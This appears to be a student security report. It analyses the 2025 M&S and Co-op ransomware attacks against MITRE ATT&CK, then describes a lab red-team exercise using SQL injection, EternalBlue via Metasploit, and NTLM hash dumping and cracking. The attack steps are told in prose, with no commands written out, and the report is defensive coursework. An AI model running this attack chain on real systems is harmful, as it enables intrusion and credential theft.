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Abstract 
Coordinated cyber attacks on Marks and Spencer (M&S) and the Co-operative Group (Co-op) indicate the growing advanced nature of ransomware campaigns in the retail industry. Analysis employs the threat-centric perspective of investigating the attack lifecycle, adversary behaviour, and exploitation methods with the MITRE ATT&CK framework. Some of the major phases, such as initial access through social engineering, credential compromise, lateral movement, and ransomware deployment, are critically assessed. Study major human, technical, and organisational control failures, which make the breach possible, and the gaps in the capabilities of detection and responding to the incident. Controlled red team simulation is used to simulate the real attack conditions in the world and determine vulnerabilities in the system. Results highlight the significance of defence-in-depth approaches, improved monitoring, and zero-trust security models in enhancing the resilience of organisations against emerging cyber threats.
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TASK 1: STRATEGIC THREAT ANALYSIS

Executive summary
The strategic threat analysis examines an organised ransomware attack on large retail organisations, demonstrating an organised attack cycle that is related to the MITRE ATT framework. It highlights the human, technical, and organisational vulnerabilities that are critical, such as phishing vulnerability, lax identity management, and a lack of network segmentation. Analysis shows the ways in which the adversaries use such weaknesses to gain persistence, lateral movement, and exfiltration of data. It also evaluates the gaps in detection and response with a focus on the late incident response. The research offers evidence-based research to guide risk reduction practices and enhance organisational cyber resilience against advanced persistent threats. 

[bookmark: _Toc228047768]TASK 1: Strategic Threat Analysis
[bookmark: _Toc228047769]Overview
Cyber attacks on Marks and Spencer (M&S) and the Co-operative Group (Co-op) are analyzed as a coordinated threat campaign or a very similar one, offering a strategic perspective on how they are executed, the similarities, and the underlying adversary behaviour. It is a threat-based focus in the analysis that incorporates publicly available intelligence, industry news, and academic literature to develop evidence-based insight into the attack lifecycle. The focus is on the reconstruction of the incident timeline, with recognition of key stages between initial access and containment and remediation.
Analysis also compares attacker behaviours as to the MITRE ATT&CK framework to provide a systematic mapping of tactics, techniques, and procedures (TTPs) used throughout the chain of attack. This facilitates systematic analysis of the manner in which opponents exploited technical flaws, organisational flaws, and human aspects to accomplish their goals. Also, the overview takes into account attribution issues and the possible motives of the threat actors.
These synthesised elements allow the section to form a basis to critically assess detection and response capabilities, and inform the formulation of risk-focused, security recommendations to enhance organisational resilience to advanced cyber threats.
[bookmark: _Toc228047770]Incident Summary and Timeline 
Data breaches of Marks and Spencer (M&S) and the Co-operative Group (Co-op) in early 2025 are discussed as a coordinated attack by a shared threat actor with the use of social engineering tools. This attack lifecycle commenced in February, 2025, with the attackers first gaining access into M&S systems by compromising their credentials, stealing the Active Directory database (NTDS.dit), which they used to make unauthorised authentication and continued access (Kemp et al. 2023).
Attack continues into an implementation phase at the time of the Easter period (19-21 April 2025), where operational disturbances are observed in terms of failed contactless payment systems and Click and Collect services (Akeiber, 2025). This is a sign of good lateral motion and compromise at the system level. M&S formally disclosed the incident and enlisted the National Cyber Security Centre (NCSC). On 22 April 2025, the interface for detection and response to the incident.
Attackers installed ransomware named DragonForce, which encrypted VMware ESXi infrastructure, causing most services to be brought down on 24 April 2025. Immediate containment measures are taken, which include suspension of online services to curtail the further effect on 25 April 2025. The campaign continues at the Co-op on 30 April 2025, but quick initial detection and system segregation minimise the damage to operations.
The national level of intervention occurs, and the NCSC supports it on 2 May 2025. The climax of the event comes on 13 May 2025, when it is established that there is a data breach of information of the customers. The recovery efforts are still ongoing, and on 10 June 2025, it has already partially regained its services.
[image: ]  
Figure 1: Timeline of the Coordinated Cyber Attack Campaign Targeting M&S and Co-op (2025)
The figure depicts the time sequence of the lifecycle of the cyber attack that begins with the initial access using social engineering and proceeds to the disruption, the installation of ransomware, containment, and the validation of data breach. Major time landmarks and the system are highlighted and it demonstrates how the attack was organised and the systems used by the organisation to respond accordingly.
[bookmark: _Toc228047771]Adversary TTP Mapping (MITRE ATT&CK) 
The evaluated cyber campaign is evidence of a planned and multi-level intrusion in line with the MITRE ATT&CK Enterprise Matrix (Omotunde and Ahmed, 2023). Attacker systematically uses a series of tactics, techniques and procedures (TTPs) to reach the first compromise, increase access and provide ransomware-based impact to organisational systems.

[image: ] 
Figure 2: MITRE ATT&CK-Based Adversary Attack Flow of the DragonForce Ransomware Campaign
This diagram is a structured overview of the adversary tactics and techniques with an alignment to the MITRE ATT&CK model of how initial access evolved into privilege escalation, lateral movement, and exfiltration of data to the final impact. It emphasizes that TTPs are executed in a descending manner and are used to attack systems and deliver ransomware.
Initial Access – Phishing (T1566)
The attack is by a social engineering method, as attackers make use of user trust to gain access to credentials. This facilitates the infiltration of systems without any security alerts into the enterprise systems.
· Why it worked: Lack of phishing-resistant MFA and insufficient user awareness
· Control failure: Weak email filtering and no strong authentication mechanisms
· Impact: Enabled unauthorised entry into enterprise systems
Persistence – Valid Accounts (T1078)
Attacker uses valid credentials to maintain access. Valid accounts enable the activity to mix with normal user behaviour, making it less likely to be detected.
· Why it worked: Legitimate credentials bypass security monitoring
· Control failure: No identity behaviour analytics (UBA) or login anomaly detection
· Impact: Long-term undetected access
Privilege Escalation – Exploitation (T1068)
The enemy gains privileges to bring control on the administrative level. This allows sensitive infrastructure elements to be accessed, such as domain controllers and virtualised environments.
· Why it worked: Outdated systems and weak patch management
· Control failure: Lack of vulnerability management and least-privilege enforcement
· Impact: Administrative control over domain systems

Discovery – Account Discovery (T1087)
The reconnaissance is conducted by the attacker by listing the accounts and network resources of the user accounts  (Zhang et al. 2025). This helps in identifying high-value targets and also aids in further movement on the lateral axis.
· Why it worked: No monitoring of enumeration activity
· Control failure: Absence of logging and detection for reconnaissance behaviour
· Impact: Identification of critical assets
Credential Access – Credential Dumping (T1003)
Extraction of credential information, including NTDS.dit, allows the attacker to gain access to password hashes and reuse credentials on the network, greatly increasing their control.
· Why it worked: Poor protection of Active Directory database
· Control failure: No credential protection (e.g., LSASS protection, encryption)
· Impact: Full domain compromise
Lateral Movement – Remote Services (T1021)
Opponent traverses across systems of remote access protocols. This facilitates the distribution of the attack among the interconnected systems and business-critical assets.
· Why it worked: Flat network architecture and lack of segmentation
· Control failure: No network isolation or internal firewall rules
· Impact: Rapid spread across enterprise systems
Collection – Data from Local System (T1005)
Organisational and customer-sensitive data are gathered using systems that are compromised. The move helps further extortion actions.
· Why it worked: Lack of data access monitoring
· Control failure: No Data Loss Prevention (DLP) controls
· Impact: Preparation for double extortion
Exfiltration – Exfiltration Over Web Services (T1567)
The data that is collected moves out of the organisation via normal web-based channels, and so the activity may seem legitimate and evade detection systems.
· Why it worked: Traffic appeared as normal HTTPS activity
· Control failure: No outbound traffic inspection or anomaly detection
· Impact: Data breach and regulatory risk
Command and Control – Application Layer Protocol (T1071)
The attacker sets up command and control communications via common protocols, which provides constant communication with compromised systems and operational stealth.
· Why it worked: Encrypted communication masked malicious traffic
· Control failure: Lack of deep packet inspection
· Impact: Persistent attacker control
Impact – Data Encrypted for Impact (T1486)
The last phase is the implementation of the ransomware, which encrypts important systems and interferes with the operations. This imposes ransom and maximises the impact of an organisation.
· Why it worked: Weak backup strategy and lack of segmentation
· Control failure: No ransomware protection or immutable backups
· Impact: Operational shutdown and financial loss
Attack demonstrates a well-organised and disciplined implementation of MITRE ATT&CK strategies, which showcases the efficiency and professionalism of contemporary ransomware attacks.
[bookmark: _Toc228047772]Root Cause and Security Failures
It is clear that the breach itself is due to a set of human, technical, and organisational control failures, but not a single point of weakness in the incident that is analysed. The first concession is conditional on phishing vulnerability, a lack of security awareness education and user laxity  (Dimitrov and Nikolov, 2025). Lack of multi-factor authentication (MFA) also contributes to this human aspect, as attackers now use stolen credentials without any other authentication measures.
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Figure 3: Root Cause and Security Control Failures Leading to Ransomware Impact
The diagram provides the cause and effect analysis of the cyber incident and defines the most important human, technical, and organisational failures which led to the occurrence of the breach. It identifies factors such as vulnerability to phishing, ineffective access controls, and weak network segmentation, showing how several control vulnerabilities compounded with one another to facilitate lateral movement and lead to ransomware impact.
Privilege escalation occurs due to poor access control systems and a lack of identity and access management (IAM) practices. Active Directory credentials, such as the NTDS.The .dit file is extracted, which is indicative of the lax protection of important authentication infrastructure (Aljohani, 2023). The inability to effectively monitor and log makes it slow to detect, allowing attackers to continue to persist, as well as perform lateral movement between systems.
It is also the organisational deficits that play a critical role in the advancement of the attack. Inadequate network segmentation enables the enemy to roam freely in the environment, and ineffective security policy and governance structures cannot exercise effective control mechanisms. Sluggish incident response procedures lead to extended exposure of the system and heightened operational sensitivity.
The incident is a breakdown in defence-in-depth, in which several security controls fail at the same time, culminating in the deployment of ransomware and the mass disruption.
[bookmark: _Toc228047773]Threat Actor Profile and Motive
A threat group, which is usually linked to Scattered Spider and the DragonForce ransomware group, is credited with the cyber campaign as it is financially motivated. The aggressor proves to be very capable, with sophisticated social engineering tricks, harvesting of credentials and subsequent lateral movement within enterprise environments (McIntosh et al. 2024). Their modus operandi is similar to organised criminal gangs using a double-extortion ransomware construct, exfiltrating data and encrypting the system to extract as much money as possible. Financial extortion is the main motive, but the magnitude and organization of the attacks suggest a resourceful and well-organised threat agent. Although attribution is a biased approach, such that it is classified as an inference, the methods and actions lend much weight to this inference.
[bookmark: _Toc228047774]Detection and Response Analysis
The capabilities in the field of detection and response have significant gaps in technical and organisational levels. Initial compromise will go unnoticed because of poor monitoring, low visibility of logging and a lack of anomaly detection in identity and access operations. Lack of real-time Security Information and Event Management (SIEM) correlation slows down the detection of credential misuse and lateral movement (Zhu et al. 2026). Although eventually deployed, incident response actions are not in a timely manner, which gives the attacker time to gain privileges and install ransomware (Aksoy, 2023). More advanced security operations are reflected in the Co-op being better detected due to quick identification and system separation. The incident reveals the lack of proactive threat detection, ongoing monitoring and incident response preparedness.
[bookmark: _Toc228047775]Strategic Recommendations 
· Install multi-factor authentication (MFA) with resistance to phishing (FIDO2-based authentication), to reduce the credential compromise (medium cost, medium impact).
· Adopt a zero-trust structure and identity authentication, and least-privilege access control (high effort, high impact).
· Enhance segregation of the networks to limit lateral flow across the critical systems (median effort, high impact) (Xiang et al. 2025).
· Install SIEM and endpoint detection and response (EDR) on the state-of-the-art to track in real-time and detect threats (medium cost).
· Logging more and collecting more telemetry (low cost).
· Increase the security awareness training programmes to ensure that people are less susceptible to phishing (low price, high effects).
[bookmark: _Toc228047776]Summary
It is evident that the cyber incident is caused by inter-reliant failures in human, technical and organisational factors that are used by a knowledgeable threat actor through this analysis. There is a well-organised lifecycle of the attack, which is consistent with MITRE ATT&CK, with emphasis on the absence of detection and limitations in responses. The targeted security controls and strategic additions are implemented to implement resilience to future ransomware assaults.












TASK 2: RED TEAM ENGAGEMENT


Executive summary
Adversarial behaviour described is simulated through the red team engagement in a controlled enterprise environment as part of assessing system vulnerabilities and resilience to security. A multi-stage attack lifecycle that consists of reconnaissance, exploitation, privilege escalation, and lateral movement performed with realistic tactics that correspond to MITRE ATT&CK. First access is done via the exploitation of a web application, then SMB-based compromise and data dumping. Analysis reveals some significant gaps in patch management, monitoring, and access controls. The results offer strong indications of wide gaps in detection and illustrate how unpatched systems allow compromise of the entire system, to incentivise strategic changes in support of proactive defence and threat reduction.

[bookmark: _Toc228047777]TASK 2: Red Team Engagement
[bookmark: _Toc228047778]Overview
A simulated adversarial behaviour within an isolated enterprise network is achieved by creating a controlled penetration testing scenario. The goal is to finding and exploiting vulnerabilities on a variety of systems and then performing privilege escalation and data access operations. A multi-stage attack approach is embraced, which is aligned with actual Red Team tactics and procedures in the real world. This environment consist of a domain controller, a vulnerable web application server, and a domain-joined client workstation allowing an extensive attack surface coverage. This is first gained with the help of web application exploitation, and lateral movement is carried out with the help of network based vulnerabilities. 
Access is gained through SMB exploitation, and it shows the effect of the unpatched systems. The attack lifecycle is organised in a way which represents reconnaissance, exploitation, escalation and exfiltration. All the activities are carried out in a regulated laboratory setting so that there is no interference with any outside systems. The situation offers real-life lessons on the vulnerabilities of security in the enterprise and the methods used by the attackers.
[bookmark: _Toc228047779]Rules of Engagement (RoE) 
[bookmark: _ero0uys3oog4]Any penetration testing undertakings are done within established rules of engagement to make the penetration testing ethical, controlled and non-disruptive. It is also limited to the specified virtual machines in the isolated lab network comprising the domain controller, the web server, and the client workstation.  Any outside networks or unauthorised systems are not targeted for the report. 
Testing is conducted in the least destructive way where possible, and destructive actions are restricted to controlled exploitation situations needed to show impact (Marcinko, 2024). Administrative credentials and sensitive settings are safely managed and are not used in the lab. The host-only network only allows network traffic to be limited within the host to avoid unwanted propagation. Everything is recorded and reported to maintain traces of activities. Persistence mechanisms and denial-of-service attacks are carefully avoided to ensure that the system remains available. The process is performed under ethical hacking principles to be sure that the confidentiality, integrity and availability issues are considered during the testing lifecycle.
[bookmark: _1c49536uw296][bookmark: _Toc228047780]Threat Emulation Plan 
A systematic threat modelling strategy is carried out to simulate realistic attacker behaviour in more than one phase of attack. The attack pathways are initiated through the attacker machine where network reconnaissance is carried out to determine the active hosts and opened services. The first point of attack is a vulnerable Linux-based web server because there are exploitable vulnerabilities of web applications. The vulnerability of SQL injection is used to compromise authentication and retrieve database data and provide initial access to the network. This is followed by internal reconnaissance to list out more systems which highlights in the discovery of a Windows client machine that is a part of the domain. 
Client system is analysed and vulnerable to the MS17-010 exploit due to the SMB service. EternalBlue exploit is used to achieve SYSTEM-level access, which allows privilege escalation and control of the host. Techniques of credential dumping are then used to steal authentication information (Holm and Sommestad, 2025). The attack trail shows the horizontal movement of a hacked web server to the resources of an internal domain. All phases are align with MITRE ATT&CK techniques, which provides realistic simulation of adversaries. The emulation identifies vulnerabilities in patching, input validation and network segmentation in enterprise settings.
[bookmark: _Toc228047781]Lab Environment Design  
Network diagram
[image: ]
Figure 4: Network Diagram
Network diagram shows a contained laboratory setting where a Kali Linux attacker starts with SQL injection of a Metasploitable webserver and takes advantage of SMB vulnerability of a Windows client. This process is authenticated by domain authentication and DNS services on a centralized Windows Server domain controller on the isolated host-only network.
VM Roles
VM-1: Domain Controller
VM-1 is a centralised domain controller that offers the Active Directory Domain Services and DNS services in the lab environment. It handles authentication, authorisation, and directory services of domain-joined systems, making it possible to perform user management, policy enforcement and secure communication. It is the main identity and the access control authority.
VM-2: vulnerable web server role 
VM-2 is a Linux-based web application server which runs deliberately vulnerable applications like DVWA. It has a high exterior attack surface and can be exploited by web vulnerabilities such as SQL injection. It serves as the first entry point to attackers, allowing establishing footholds and further internal network reconnaissance operations.
VM-3: Domain Client Workstation Role 
VM-3 is a domain-joined Windows client workstation, which is a representative of an internal enterprise user system. It is involved in domain authentication and communicates with the domain controller in order to get access to resources. It is used as a lateral movement target, which allows escalating privilege, extracting credentials and proving the presence of internal network damage.
VM1: Domain Controller Configuration
[image: ]
Figure 5: VM1 Static IP Configuration
VM1 has a static IPv4 address of 192.168.56.107, subnet mask of 255.255.255.0 and a gateway set to 192.168.56.2 (Nguyen et al. 2025). This provides a stable domain communication and active Directory service availability in the isolated lab network.
[image: ]
Figure 6: Active Directory Server Overview
Server Manager shows the role of AD DS running on the server including system status, performance indicators and event logs. It validates the machine as a domain controller in the setup lab environment.
[image: ]
Figure 7: IPv4 Network Configuration Settings
IPv4 characteristics define the existence of a static addressing with DNS address on 192.168.56.107. It is important to have the correct name resolution, discovery of domain controller and smooth communication between domain-joined nodes within the environment of controlled network infrastructure.
[image: ]
Figure 8: Active Directory Users Management
Active Directory Users and Active Directory Computers console displays domain objects. These objects are users, groups and security roles allowing centralized identity management, permission control, and administrative control over the enterprise network environment in the lab.
VM 2: Linux-Based Web Hosting Server
[image: ]
Figure 9: Linux Network Connectivity Verification
Linux-based server confirms connectivity with ping to 192.168.56.107, ping to 192.168.56.107 (Ansar et al. 2025). This process verifies that there is connectivity in the controlled lab network, and that packets are sent and received successfully, without loss, and with proper IP assignment 192.168.56.101.




VM-3: Windows Client Endpoint System
[image: ]
Figure 10: Domain Join Confirmation Window
Windows client system can successfully add itself to the lab.local domain with a confirmation message, updated system properties, and domain membership settings. This is indicative of the successful integration with Active Directory and preparation to undergo centralized authentication procedures.
[image: ]
Figure 11: Windows Network Configuration Details
The ipconfig command results in the assigned IP address of 192.168.56.120, the subnet mask, the gateway, and the DNS server of 192.168.56.107 (McDonald et al. 2022). It confirms the right domain alignment, network settings, and communication preparedness in the Active Directory setting.
[bookmark: _Toc228047782]Reconnaissance and Scanning 
[image: ] 
Figure 12: ARP Network Host Discovery
ARP scanning is used to detect active hosts in the 192.168.0.0/16 network, recording MAC addresses and the number of packets. It allows to observe which devices are connected, and provides a starting point of reconnaissance to continue enumeration
[image: ]
Figure 13: Service Version Enumeration Scan
The version scan of Nmap services detects many open ports such as FTP, SSH, HTTP, SMB, and database services on 192.168.56.101. It exposes outdated software versions and offers a broad range of attack surfaces to exploit.
[image: ]
Figure 14: Multi-Host Port Scanning
Nmap scan of multiple hosts with a set of targets provides open services SMB, HTTP, MySQL, and VNC (Alba Torres et al. 2026). It allows revealing systems at risk and prioritizing ways of exploitation inside the internal network environment.
[image: ]
Figure 15: Advanced Service Detection Analysis
Aggressive Nmap scan with OS detection identifies Windows 7 client system, SMB settings and security modes, with weak settings of message signing. This process allows the identification of exploit-able vulnerabilities like MS17-010.
[image: ]
Figure 16: Domain Controller Service Enumeration
Service enumeration detects Windows Server system running Active Directory services, SMB settings and domain data. It validates its use as domain controller and offers vital intelligence on targeted lateral movement in the network.
[bookmark: _Toc228047783]Exploitation (Three Exploits) 
Exploit 1: Web Application Exploitation
Exploitation process starts with reconnaissance and service enumeration with Nmap, whereby an accessible web application can be identified as existing in the Metasploitable server. The input validation weaknesses of the application are analysed, exposing the application to SQL injection. SQLMap is used to automate injection testing, which focuses on parameters which are vulnerable in the HTTP requests. Several methods of injection are performed, and it proves to be possible to control the queries of the database backends. Database structures (schema and tables) are enumerated on successful exploitation. Sensitive data such as user credentials, is stolen, and this indicates unauthorised access to data. This step provides the first presence in the network and allows further internal reconnaissance and the development of the attack.

[image: ]
Figure 17: SQL Injection Exploitation Initiation
SQLMap starts injection testing vulnerability of web application where it determines the entry points of parameter injections, makes testing of various techniques. This process also verifies the ability to manipulate database query whereby an unauthorized user can gain access to the information and database systems at the back end.
[image: ]
Figure 18: Database Extraction Using SQLMap
SQLMap manages to retrieve information of a database such as schema and tables, which proves the compromise of the back end database. It proves that it can access sensitive data and proves that there is indeed an effective exploitation of SQL injection in a web application setting.


Exploit 2: Eternal Blue Backdoor RCE
Internal network scanning is done to find out other targets after the first access, which reveals a domain-joined Windows 7 system with SMB exposed. The existence of the MS17-010 flaw is verified by vulnerability assessment. The Metasploit framework is used to execute the EternalBlue exploit, which attacks the SMBv1 protocol. When it is executed, remote code execution is accomplished, and a Meterpreter session is created. Privilege escalation is automatically gained, and access is gained to the SYSTEM level. Further enumeration, such as process inspection and network discovery, is then done using the compromised system. This phase shows the ability to move laterally, enabling attackers to bypass external-facing services and move to internal enterprise systems.
[image: ]
Figure 19: SMB Vulnerability Detection Scan
The presence of MS17-010 on Windows client system is confirmed by Nmap vulnerability script, and a critical SMBv1 remote code execution vulnerability is identified. This indicates that the system is at high risk of exposure and allows the attacker to prepare to the EternalBlue exploitation phase.
[image: ]
Figure 20: EternalBlue Exploitation Execution
Metasploit framework uses EternalBlue exploit on a vulnerable SMB service, connects and causes buffer overflow then attempts to execute remote code.
Exploit 3: Credential Dumps of Windows
Post-exploitation operations are conducted to steal sensitive credentials of the compromised Windows system with SYSTEM-level access. Credential dumping commands are run in the Meterpreter environment, recovering NTLM password hashes stored in system memory. These hashes are exported and transferred to the attacker's machine, where they are offline cracked. John the Ripper and Hashcat are some of the tools used in dictionary-based attacks to retrieve plaintext passwords. The fact of successful cracking validates weak password policies and substandard credential protection. The obtained credentials allow possible access to other systems, which proves the effects of the credential compromise and indicates threats posed by the lack of adequate authentication security measures.
[image: ]
Figure 21: Windows Directory Enumeration Access
Afyer successfully exploitation, listing of C:Users:Admin is opened, which discloses user folders and structure of the system. It allows identifying sensitive locations and further credential extraction and data exfiltration operations in the compromised system environment.
[image: ]
Figure 22:Attempt for cracking the hash
Hashcat starts cracking passwords with NTLM hashes and rockyou wordlist, allocating for GPU resources. In this process dictionary cache construction, and brute-force preparations are used to effectively crack passwords in large quantities and limited execution time.
[image: ]
Figure 23: Hashcracking successful
Hashcat manages to retrieve NTLM password hashes, showing cracking credentials, statistics, and performance measurements. This process proves the effective compromise of credentials and the ineffectiveness of poor password policies in the environment of the compromised system.
[bookmark: _Toc228047784]Tools and Techniques Used 
	Tool / Technique
	Application
	Technical Purpose

	Nmap Scanning
	Network reconnaissance and port scanning
	Determines active hosts, open ports, and versions of the services, making it possible to map the attack surface and identify vulnerable services.

	ARP Scanning
	Local network discovery
	Identifies live hosts on the subnet, which offers mapping of MAC addresses and enhances visibility of internal network devices (Putra et al. 2024).

	SQL Injection
	Web application exploitation
	Includes unsanitized database query manipulation, enabling unauthorised access, authentication bypass and sensitive backend data extraction.

	SQLMap
	Automated exploitation tool
	Automatically detects SQL injections, enumerates databases and extracts data, making web exploitation processes more efficient and more accurate.

	Metasploit Framework
	Exploitation and post-exploitation
	Runs the EternalBlue MS17-010 exploit, which allows executing the remote code and gaining access to the privileged system (Aditya et al. 2025)

	EternalBlue Exploit
	SMB vulnerability exploitation
	Targets MS17-010 flaw to achieve remote code execution on Windows systems, enabling privilege escalation and system compromise.

	Meterpreter
	Post-exploitation interface
	Connects to compromised systems to support commands to escalate privileges, enumerate the system, and dump credentials

	Hashcat / John the Ripper
	Password cracking
	Performs offline cracking of extracted hashes using dictionary attacks, revealing weak passwords and validating credential compromise risks.

	SMB Protocol Abuse
	Lateral movement technique
	Exploits weaknesses in SMB services to move across systems, enabling internal network compromise and privilege escalation.


Table 1: Tools and Techniques
All these tools prove the efficacy of integrated offensive security practices and also highlight the proper justification for the choices.
[bookmark: _Toc228047785]Detection Gap Analysis 
Substantial gaps in detection occur during the simulated attack lifecycle which indicates that there is a lack of monitoring and protective measures in the lab environment. Network reconnaissance, such as ARP scanning and Nmap enumeration are all conducted devoid of any alert. It indicates the lack of an intrusion detection or a network traffic analysis system. The SQL injection attack to exploit the web application is carried out successfully without detection. It proves the absence of input verification measures and application-layer security monitoring.
Exploitation of the SMB vulnerability (MS17-010) occurs during lateral movement is not intercepted. It indicates a fact that shows the lack of patch management procedures and poor host-based intrusion detection systems. Setting up Meterpreter sessions and running the post-exploitation commands, such as credential dumping, go unnoticed, which cannot be described as a strong endpoint monitoring and logging. There are no alerts in the abnormal authentication behaviour or priviledged access escalation. Combination of these gaps indicates the lack of centralized logging, real-time threat detection, and security event correlation, and greatly contributes to the threat of undetected compromise.
[bookmark: _Toc228047786]Summary
A managed security test is also performed to replicate adversary behaviour in a partitioned enterprise-like setting with a particular emphasis on privilege escalation and horizontal movement endeavors. After gaining access via a weak web application, the attack continued to the internal network. Whereby the critical assets of the network are targeted in order to test the robustness of the system settings and security measures. The aim of this step is to find out whether an attacker was able to use escalation of privileges and spread across systems interconnected with each other without being noticed.
The evaluation had established a domain-joined windows 7 client system as a high-value target because it is vulnerable to old vulnerabilities (Bagane et al. 2025). The network reconnaissance indicated that the system was operating the SMB service on port 445 and that the system was not patched with important security patches. Existence of the MS17-010 vulnerability, one of the most popular remote code execution vulnerabilities affecting SMBv1 services, is confirmed by a vulnerability scan. This vulnerability give a direct exploitation capability with the use of the EternalBlue module of the Metasploit platform.
This action is managed to succeed, and a remote Meterpreter session with SYSTEM-level privileges was established. This high access provided unlimited access to compromised machine, further interaction with the system, enumeration of processes and navigation in the file system. Then, the methods of credential dumping are used to retrieve NTLM password hashes in the system memory. These credentials pose a profound security threat, since these can be used to gain access to domain resources, and lateral mobility.
Successful implementation of this attack throws into perspective vital vulnerabilities in patch management, endpoint security, and internal network segmentation. The lack of host based intrusion detection systems and real time monitoring facilitated the exploitation and post exploitation processes to be carried out. Also, ineffective password policies and poor protection of credentials also led to the leakage of sensitive authentication information.
Overall, this step shows how one unpatched vulnerability can be exploited to attain complete control over the system and steal other assets on an enterprise network. The results highlight the significance of deploying patches on time, network segmentation and constant monitoring as crucial measures that can be implemented to identify and prevent sophisticated attack strategies. The test shows how to carry out a privilege escalation and lateral movement with the EternalBlue exploit on an unpatched Windows 7 system. The access is attained at the SYSTEM -level, which allows dumping credentials and compromising internally. This process underscores major vulnerabilities in patch management, monitoring, and network segmentation in the simulated enterprise environment.
[bookmark: _Toc228047787]Conclusion
The discussion establishes that the cyber campaign is the product of well-organised adversarial action taking advantage of layered security vulnerabilities. Attack lifecycle illustrates advanced methods that match the MITRE ATT&CK, with gaps in the detection and response. Enhancement of security measures, monitoring and organisational behaviour is critical to reduce the risk of future ransomware and become more resilient.
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Appendix -A Timeline data
	Event
	Description
	Date
	Source

	Initial Access
	Attackers infiltrated M&S systems via social engineering and obtained Active Directory credentials (NTDS.dit)
	February 2025
	
	



	CM Alliance: https://www.cm-alliance.com/cybersecurity-blog/the-marks-and-spencer-cyber-attack-everything-you-need-to-know?utm_source





	Escalation / Disruption
	Payment systems and Click & Collect services disrupted during Easter weekend
	19–21 April 2025
	BlackFog: https://www.blackfog.com/marks-and-spencer-ransomware-attack/

	Public Disclosure
	M&S formally reports cyber incident to NCSC and engages incident response partners
	22 April 2025
	BlackFog: 
https://www.blackfog.com/marks-and-spencer-ransomware-attack/?utm_source


	Ransomware Deployment
	DragonForce ransomware deployed, encrypting VMware ESXi infrastructure
	24 April 2025
	Security Journal UK: https://securityjournaluk.com/dragonforce-ransomware-ms-attack/

	Containment
	M&S suspends online orders and isolates systems to limit spread
	25 April 2025
	Computer Weekly: https://www.computerweekly.com/news/366623685/Chaos-spreads-at-Co-op-MS-following-DragonForce-attacks

	Co-op Attack 
	Co-op detects attack rapidly and shuts down systems, limiting impact
	30 April 2025
	Computer Weekly: https://www.computerweekly.com/news/366623685/Chaos-spreads-at-Co-op-MS-following-DragonForce-attacks?utm_source


	National Response
	NCSC confirms support for affected UK retailers
	2 May 2025
	Computer Weekly: https://www.computerweekly.com/news/366623685/Chaos-spreads-at-Co-op-MS-following-DragonForce-attacks?utm_source

	Data Breach Confirmed
	M&S confirms customer data exposure and forces password resets
	13 May 2025
	Computer Weekly: https://www.computerweekly.com/news/366623685/Chaos-spreads-at-Co-op-MS-following-DragonForce-attacks?utm_source


	Recovery Phase
	M&S resumes partial online services after extended outage
	10 June 2025
	BlackFog: 
https://www.blackfog.com/marks-and-spencer-ransomware-attack/?utm_source






Appendix -B -MITRE ATT&CK mapping table 
	Tactic
	Technique
	MITRE ID
	Justification 

	Initial Access
	Phishing
	T1566
	Attackers used social engineering to gain initial access to M&S systems

	Credential Access
	OS Credential Dumping
	T1003
	Extraction of NTDS.dit indicates credential dumping from Active Directory

	Persistence
	Valid Accounts
	T1078
	Stolen credentials enabled continued access without detection

	Privilege Escalation
	Exploitation for Privilege Escalation
	T1068
	Attackers elevated privileges after initial compromise

	Discovery
	Account Discovery
	T1087
	Attackers enumerated domain accounts after accessing AD

	Lateral Movement
	Remote Services
	T1021
	Movement across systems during disruption phase

	Command & Control
	Application Layer Protocol
	T1071
	Attackers likely used standard protocols for communication

	Collection
	Data from Local System
	T1005
	Customer and internal data accessed before ransomware deployment

	Exfiltration
	Exfiltration Over Web Services
	T1567
	Data exfiltration prior to encryption (double extortion model)

	Impact
	Data Encrypted for Impact
	T1486
	DragonForce ransomware encrypted systems (ESXi infrastructure)





Appendix C: Attack Chain Diagram 
	Category
	Root Cause
	Failed Security Control
	Evidence from Scenario
	Impact

	Human
	Phishing susceptibility
	Lack of security awareness training
	Social engineering used for initial access
	Credential compromise

	Human
	Weak authentication practices
	No Multi-Factor Authentication (MFA)
	Accounts accessed using stolen credentials
	Unauthorised access

	Technical
	Credential dumping (NTDS.dit)
	Weak Active Directory protection
	Attackers extracted domain credentials
	Privilege escalation

	Technical
	Weak access control
	Excessive permissions / poor IAM
	Attackers gained admin-level access
	Full system control

	Technical
	Lack of monitoring
	Ineffective SIEM / logging
	Attack detected late
	Delayed response

	Organisational
	Poor network segmentation
	No network isolation controls
	Attack spread across systems
	Lateral movement

	Organisational
	Weak security policies
	Inadequate governance
	No strict enforcement of controls
	Increased exposure

	Organisational
	Slow incident response
	No rapid containment strategy
	Systems remained active during attack
	Ex





Appendix D: Open‑source intelligence (OSINT) notes
Open-source intelligence techniques are utilized to gather publicly available information relevant to the technologies, vulnerabilities, and attack methodologies applied within the lab environment. OSINT sources include vulnerability databases, security advisories, and technical documentation, which are analysed to support reconnaissance and exploitation planning.
Information regarding the MS17-010 vulnerability is obtained from publicly accessible repositories such as the National Vulnerability Database (NVD) and vendor security bulletins, providing detailed insights into exploitation mechanisms and affected systems. Similarly, documentation for SQL injection techniques is referenced from OWASP resources, outlining common web application vulnerabilities and mitigation strategies.
Tool-specific knowledge, including Nmap scanning techniques, Metasploit modules, and SQLMap usage, is derived from official documentation and community-maintained knowledge bases. Password cracking methodologies are supported through publicly available wordlists such as the RockYou dataset, commonly used in security testing environments.
No active OSINT reconnaissance targeting real-world organisations is conducted. All intelligence gathering is limited to general-purpose, publicly available technical information to support controlled and ethical penetration testing within the lab environment.


[bookmark: _umuvpefuaw8j]Appendix E:  Rules of Engagement plan (RoE) 
	Category
	Rule Definition
	Technical Rationale

	Scope Control
	Only VM-1, VM-2 and VM-3 are tested in the host-only network.
	Make sure that all actions are within the limits of the authorised lab facilities, to avoid unintended access to other systems.

	Network Isolation
	Host-only configuration is used with all communication limited to the 192.168.56.0/24 subnet.
	Restricts leak traffic and not run the risk of impacting external infrastructure or production environments.

	Authorized Techniques
	Reconnaissance, SQL injection, SMB exploitation, and credential dumping are only allowed.
	Runs testing on a predetermined objective but under controlled conditions of attack simulation.

	Prohibited Actions
	Denial of service, persistence and execution of destructive payloads are not allowed.
	Keeps the system available and does not cause irreparable lab infrastructure damage.

	Credential Security
	Credentials extracted are only demonstrated in the lab and not stored outside.
	Avoids the misuse of sensitive data and compliance to ethical practices of handling data.

	Exploitation Boundaries
	Exploitation is limited to proof-of-concept validation and halted after successful demonstration.
	Reduces system instability and limits excessive impact on target systems.

	Activity Logging
